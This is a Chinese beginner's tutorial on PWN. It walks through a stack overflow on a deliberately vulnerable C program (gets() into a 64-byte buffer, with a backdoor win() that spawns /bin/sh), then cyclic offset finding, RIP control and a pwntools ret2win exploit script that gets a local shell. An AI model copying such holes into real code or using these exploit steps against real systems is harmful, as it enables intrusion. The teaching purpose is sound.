当前位置: 首页 > news >正文

小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)

前言

本文针对 PWN 小白,基于 Ubuntu 24.04 LTS 系统,全程使用目录下的 6 个文件(calc.py、exp1.py、exp2.py、exp_shell.py、vuln、vuln.c),一步一步复现栈溢出攻击全过程,最终成功拿到系统 shell 权限。

核心目标:理解栈溢出原理、掌握偏移计算、学会控制程序执行流、实现 ret2win 拿 shell,全程实操无废话,小白跟着敲就能成功!

环境说明:Ubuntu 24.04 LTS(64位)、pwndbg、pwntools、gcc(已提前安装,安装教程见文末)

目录文件清单(提前准备好,文末附所有文件完整代码):

calc.py # 计算栈溢出偏移 exp1.py # 生成cyclic字符串,使程序崩溃 exp2.py # 验证RIP控制(覆盖为0xdeadbeef) exp_shell.py # 最终攻击脚本,拿到shell vuln.c # 漏洞程序(含后门函数win) vuln # 漏洞程序编译产物

一、实验前置准备(小白必看)

确保以下工具已安装(若未安装,执行对应命令):

# 安装系统依赖 sudo apt update sudo apt install -y python3-pip git gdb gcc-multilib g++-multilib checksec # 安装pwntools(全局可用) sudo pip3 install pwntools --break-system-packages # 安装pwndbg(GDB增强工具,自动加载) cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

验证工具是否可用(输入以下命令,无报错即正常):

checksec --help pwn version gdb -q -ex "quit"

二、实验全流程(一步一步复现,小白直接抄)

步骤1:创建实验目录,准备所有文件

1. 新建目录并进入(规范管理,避免文件混乱):

mkdir -p ~/pwn-study/week3/day1 cd ~/pwn-study/week3/day1

2. 依次创建 6 个文件(复制对应代码,保存即可),最终目录结构如下:

~/pwn-study/week3/day1/ ├── calc.py ├── exp1.py ├── exp2.py ├── exp_shell.py ├── vuln.c └── vuln

步骤2:编写漏洞程序(vuln.c)并编译

1. 创建 vuln.c 文件(含栈溢出漏洞和后门函数 win):

#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }

2. 编译漏洞程序(关闭所有保护,小白直接复制命令,不要改参数):

gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c

编译后会出现 3 个警告(正常现象,不影响实验):

vuln.c: In function ‘vulnerable’: vuln.c:7:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 7 | gets(buffer); // 危险函数,无边界检查 | ^~~~ | fgets vuln.c: In function ‘win’: vuln.c:17:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 17 | system("/bin/sh"); | ^~~~~~ /usr/bin/ld: /tmp/cckjjjNV.o: in function `vulnerable': /home/virtual-machine/pwn-study/week3/day1/vuln.c:7:(.text+0x28): warning: the `gets' function is dangerous and should not be used.

此时目录下会生成编译产物vuln(可执行程序)。

步骤3:生成cyclic字符串,使程序崩溃(exp1.py)

1. 创建 exp1.py 文件(生成200个不重复字符串,用于触发栈溢出并标记崩溃地址):

from pwn import * # 生成200个不重复的cyclic字符串(用于定位溢出偏移) pattern = cyclic(200) # 启动漏洞程序,并发送cyclic字符串 p = process('./vuln') p.sendline(pattern) p.interactive()

2. 运行脚本,触发程序崩溃:

python3 exp1.py

运行后输出如下(核心是出现 SIGSEGV 段错误,说明栈溢出成功):

[+] Starting local process './vuln': pid 7269 [*] Switching to interactive mode Input: You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7269) [*] Got EOF while sending in interactive

步骤4:使用GDB查看崩溃地址,计算偏移(calc.py)

1. 用 GDB 运行漏洞程序,查看崩溃时的返回地址:

gdb ./vuln

2. 进入 GDB 后,输入run,然后粘贴 exp1.py 输出的那串长字符串(cyclic字符串),程序会崩溃:

pwndbg> run Starting program: /home/virtual-machine/pwn-study/week3/day1/vuln Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Program received signal SIGSEGV, Segmentation fault.

3. 查看崩溃时的返回地址(关键!),找到如下一行:

► 0x4011df <vulnerable+73> ret <0x6161617461616173>

这里的0x6161617461616173就是崩溃时被覆盖的返回地址(每个人的可能略有差异,以自己的为准)。

4. 退出 GDB(输入q),创建 calc.py 文件,计算栈溢出偏移:

from pwn import * # 填入自己GDB中看到的崩溃地址(0x开头) print(cyclic_find(0x6161617461616173))

5. 运行 calc.py,得到偏移值(本文中是 72,小白的也会是 72,因为 buffer 是 64 字节 + 8 字节 saved RBP):

python3 calc.py [!] cyclic_find() expected an integer argument <= 0xffffffff, you gave 0x6161617461616173 Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=8) to override this. 72

提示:出现上面的警告不用管,最终输出的 72 就是我们需要的偏移值。

步骤5:验证RIP控制(exp2.py)

1. 创建 exp2.py 文件(用 72 个 A 填充,覆盖 RIP 为 0xdeadbeef,验证是否能控制程序执行流):

from pwn import * offset = 72 # 步骤4计算出的偏移值 payload = b'A' * offset # 72个A,填充到RIP前 payload += p64(0xdeadbeef) # 覆盖RIP为0xdeadbeef # 启动程序,发送payload p = process('./vuln') p.sendline(payload) p.interactive()

2. 运行脚本,验证控制效果:

python3 exp2.py

运行后会出现 SIGSEGV 段错误,说明我们已经成功控制 RIP(程序跳转到了我们指定的 0xdeadbeef 地址):

[+] Starting local process './vuln': pid 7309 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ\xde [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7309) [*] Got EOF while sending in interactive

步骤6:最终攻击,拿到shell(exp_shell.py)

1. 先查看后门函数 win() 的地址(关键!每个人的地址可能不同,必须自己查):

objdump -d vuln | grep win

输出如下(本文中 win 函数地址是 0x4011f9,小白以自己的输出为准):

00000000004011f9 <win>:

2. 创建 exp_shell.py 文件(最终攻击脚本,跳转至 win 函数,拿到 shell):

from pwn import * # 填入自己的偏移值和win函数地址 offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的地址 # 64位程序必须加ret跳板(解决栈对齐问题,否则会崩溃) ret_gadget = 0x40101a # 通用ret跳板地址,无需修改 # 构造最终payload payload = b'A' * offset payload += p64(ret_gadget) # 栈对齐跳板 payload += p64(win_addr) # 跳转至win函数,拿到shell # 启动程序,发送payload,进入shell p = process('./vuln') p.sendline(payload) p.interactive()

3. 运行脚本,直接拿到 shell!

python3 exp_shell.py

成功标志:出现$提示符,输入lswhoami等命令可正常执行:

[+] Starting local process './vuln': pid 7362 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ $ ls calc.py exp1.py exp2.py exp_shell.py vuln vuln.c $ id uid=1001(virtual-machine) gid=1001(virtual-machine) groups=1001(virtual-machine),27(sudo),100(users) $ whoami virtual-machine $

至此,栈溢出攻击全程复现成功!小白也能轻松拿到 shell!

三、避坑指南(小白必看,避免踩坑)

  • 坑1:编译命令错误 → 必须使用gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c,少一个参数都会导致实验失败(比如没关 Canary、没关 PIE)。

  • 坑2:cyclic_find 报错 → 直接用终端运行 calc.py,不要在 GDB 里输入 cyclic_find(GDB 里没有这个命令)。

  • 坑3:运行 exp_shell.py 崩溃 → 必须加 ret 跳板(64位程序栈对齐要求),ret_gadget 用 0x40101a 即可(通用)。

  • 坑4:win 函数地址填错 → 必须用objdump -d vuln | grep win自己查,不要直接抄本文的地址(每个人的可能不同)。

四、所有文件完整代码(小白直接复制,无需修改)

1. vuln.c(漏洞程序):

#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }

2. exp1.py(生成cyclic字符串):

from pwn import * pattern = cyclic(200) p = process('./vuln') p.sendline(pattern) p.interactive()

3. calc.py(计算偏移):

from pwn import * print(cyclic_find(0x6161617461616173)) # 替换成自己GDB查到的崩溃地址

4. exp2.py(验证RIP控制):

from pwn import * offset = 72 payload = b'A' * offset payload += p64(0xdeadbeef) p = process('./vuln') p.sendline(payload) p.interactive()

5. exp_shell.py(最终拿shell):

from pwn import * offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的win地址 ret_gadget = 0x40101a payload = b'A' * offset payload += p64(ret_gadget) payload += p64(win_addr) p = process('./vuln') p.sendline(payload) p.interactive()

五、实验总结

本文通过 6 个文件,完整复现了栈溢出攻击的核心流程:

1. 编写漏洞程序(利用 gets 函数的无边界检查);

2. 生成 cyclic 字符串,触发栈溢出并标记崩溃地址;

3. 计算栈溢出偏移,确定覆盖 RIP 所需的字节数;

4. 验证 RIP 控制,确保能让程序跳转到指定地址;

5. 跳转至后门函数,最终拿到系统 shell。

对于小白来说,这是最基础、最易复现的 PWN 入门实验,掌握这个流程后,后续可以进阶学习 shellcode 注入、ret2libc、绕过各种安全保护等更高级的内容。

如果觉得本文对你有帮助,欢迎点赞、收藏、关注,后续会持续更新 PWN 入门实战教程!

http://www.cnnetsun.cn/news/1852721.html

相关文章:

  • 从NOJ到算法实战:一份西工大编程训练题的解题思路与代码精讲
  • CANoe之UDS诊断自动化测试(二):核心诊断窗口实战解析
  • 实现西门子200smart与施耐德ATV变频器modbus通讯,稳定可靠,无需人为准备
  • 告别数据丢失!用GD32F4的USART DMA空闲中断,手把手教你实现高效串口数据流处理
  • 一站式下载管理神器:imFile让你的文件获取效率提升300%
  • 幻影峡谷工控机实战:FLIR BFS-PGE-16S2C-CS相机ROS驱动配置手记
  • QTRMuxes:基于CD74HC4067的嵌入式多路红外传感器驱动库
  • 别再被回声困扰了!Android语音通话App的AEC方案选型与实战避坑指南
  • 免费降AI率软件哪家强?3款主流工具真实效果对比实测
  • 大模型NER精度突破92.7%后,为什么金融/医疗场景仍失败率超41%?(奇点大会闭门报告首次公开)
  • 抖音内容管理终极方案:douyin-downloader无水印批量下载完整指南
  • 《树莓派4B家庭服务器实战》第二十二期:用RustDesk打造跨平台远程控制中心,内网零延迟,外网稳定连接
  • 【WPF进阶】HandyControl Growl + Prism事件聚合器:构建高内聚、低耦合的全局消息通知系统
  • Go语言怎么删除文件_Go语言os.Remove删除文件教程【必看】
  • PyTorch实战:从零搭建Mask R-CNN模型并优化COCO数据集训练
  • 从USB充电到HDMI传4K:聊聊PCB板上那些‘隐形’的100Ω和90Ω差分线
  • CSS系列:Mask实战指南与创意应用
  • 逆向工程实战:从Ghidra反编译到Flag还原的完整路径
  • 如何突破Cursor AI试用限制:从受限到无限使用的完整指南
  • Fofax进阶技巧:自定义Fx语法规则与实战应用
  • 网暴:存在却无效的公开羞辱性展示
  • UDS诊断协议中的流量控制:BS、STmin与FC帧的协同工作机制
  • SAP PS配置避坑指南:OPSA项目参数文件里的‘基本控制’到底怎么配?
  • Neural Whole-Body Control: HOVER ExBody第二部分:HOVER核心原理 2.1 问题建模:通用条件控制策略 2.2 网络架构:历史感知的Actor-Critic
  • 告别Win11反人类设计!用SysWOW64文件夹找回经典任务管理器的完整指南
  • 代码之外周刊(第期):当技术让一切趋同,我们还剩什么?罢
  • OpenClaw vs 传统AI助手:为什么程序员都在养一只“大龙虾“?
  • AI红蓝对抗终极防线(SITS2026白皮书首发解读)
  • 如何高效使用Steam成就管理器:终极游戏成就管理工具指南
  • Java高频面试题:MyBatis与JPA有哪些不同?